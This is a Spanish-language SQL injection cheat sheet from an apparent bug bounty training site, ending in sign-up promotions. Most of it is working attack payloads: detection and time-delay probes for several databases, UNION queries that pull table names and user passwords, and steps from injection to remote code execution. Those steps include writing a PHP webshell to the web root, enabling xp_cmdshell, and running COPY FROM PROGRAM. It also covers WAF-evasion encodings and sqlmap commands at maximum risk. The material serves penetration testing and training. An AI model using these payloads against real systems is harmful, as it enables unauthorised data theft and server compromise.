Cheatsheet SQLi
SQL Injection
Referencia rápida
- →Siempre probar isomorphic tests antes de polyglots - menor ruido, mayor precision
- →PostgreSQL trata -- seguido de numero negativo como comentario (sin espacio)
- →Si un campo tiene longitud forzada, combinar inyeccion cross-field entre parametros
- →MSSQL permite stacked queries con ; lo que facilita RCE via xp_cmdshell
- →Usar CHAR() o hex encoding cuando las comillas estan bloqueadas
Deteccion - payloads iniciales
Comilla simple
'
Doble comilla
"
Comentario MySQL
' OR 1=1-- -
Isomorphic test numericoSi devuelve lo mismo que ID=1, la aritmetica se ejecuta en SQL
ID=2-1
Isomorphic test LIKEDoble % revela contexto LIKE sin sanitizar
q=Big%%
Isomorphic test stringConcatenacion de strings confirma inyeccion
name=Big' '
Time-based blind - MySQL
SLEEP basico
' AND SLEEP(5)-- -
SLEEP con parentesis
') AND SLEEP(5)-- -
SLEEP doble comilla
" AND SLEEP(5)-- -
SELECT SLEEP
' AND (SELECT SLEEP(5))-- -
OR SLEEP
' OR SLEEP(5)-- -
BENCHMARK
' AND BENCHMARK(10000000,SHA1('test'))-- -Time-based blind - MSSQL y PostgreSQL
MSSQL WAITFOR
'; WAITFOR DELAY '0:0:5'-- -
MSSQL con parentesis
'); WAITFOR DELAY '0:0:5'-- -
PostgreSQL pg_sleep
'; SELECT pg_sleep(5)-- -
PostgreSQL OR
' || pg_sleep(5)-- -
SQLite RANDOMBLOB
' AND 1=RANDOMBLOB(500000000)-- -
Union-based extraction
Determinar columnas (ORDER BY)Incrementar hasta obtener error para determinar numero de columnas
' ORDER BY 1-- -
UNION SELECT NULL
' UNION SELECT NULL,NULL,NULL-- -
Extraer version MySQL
' UNION SELECT @@version,NULL,NULL-- -
Listar tablas
' UNION SELECT table_name,NULL FROM information_schema.tables-- -
Listar columnas
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -
Sin comillas con CHAR()Usar CHAR() cuando las comillas estan filtradas
UNION SELECT CONCAT(user, CHAR(32), password) FROM users-- -
Escalacion a RCE
MySQL - webshell via INTO OUTFILE
' UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'-- -
MySQL - leer archivos
' UNION SELECT LOAD_FILE('/etc/passwd')-- -MSSQL - xp_cmdshell
'; EXEC xp_cmdshell 'whoami'-- -
MSSQL - habilitar xp_cmdshell
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;-- -
PostgreSQL - COPY TO webshell
'; COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php'-- -
PostgreSQL - COPY PROGRAM
'; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'whoami';-- -
Bypass de WAF
| WAF | Técnica | Payload |
|---|---|---|
Filtro de espacios | Comentarios inline | '/**/UNION/**/SELECT/**/1,2,3-- - |
Filtro de comillas | CHAR() encoding | UNION SELECT CONCAT(CHAR(97),CHAR(100),CHAR(109))-- - |
Filtro de UNION | Case manipulation | ' uNiOn SeLeCt 1,2,3-- - |
Filtro de keywords | Double URL encoding | %252f%252a*/UNION%252f%252a*/SELECT |
Filtro de comentarios | Newline bypass | ' OR 1=1%0AUNION%0ASELECT%0A1,2,3-- - |
Herramientas
sqlmap
Herramienta automatizada de deteccion y explotacion de SQLi
sqlmap -r request.txt --batch --level=5 --risk=3 --dbs
ghauri
Alternativa a sqlmap con mejor deteccion de blind SQLi
ghauri -r request.txt --batch --dbs
Burp Suite + SQLi extension
Deteccion manual asistida con encoding y payloads automaticos
Burp Suite > Extensions > SQLiPy / Hackvertor
Contenido relacionado
¿Listo para practicar?
Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.
Ver labs de prácticahunters entrenando
labs de hackeos reales
completaciones
pagados por estos bugs
La checklist que repaso en cada objetivo nuevo
47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.
Te das de baja en un clic, desde cualquier correo.
Deja de leer sobre bugs y empieza a cazarlos
Crea tu cuenta gratis y practica sobre labs basados en hackeos reales que pagaron miles de euros. La Academy es gratis para siempre.
Sin tarjeta · Academy gratis · cancela cuando quieras
La comunidad
Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.
Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.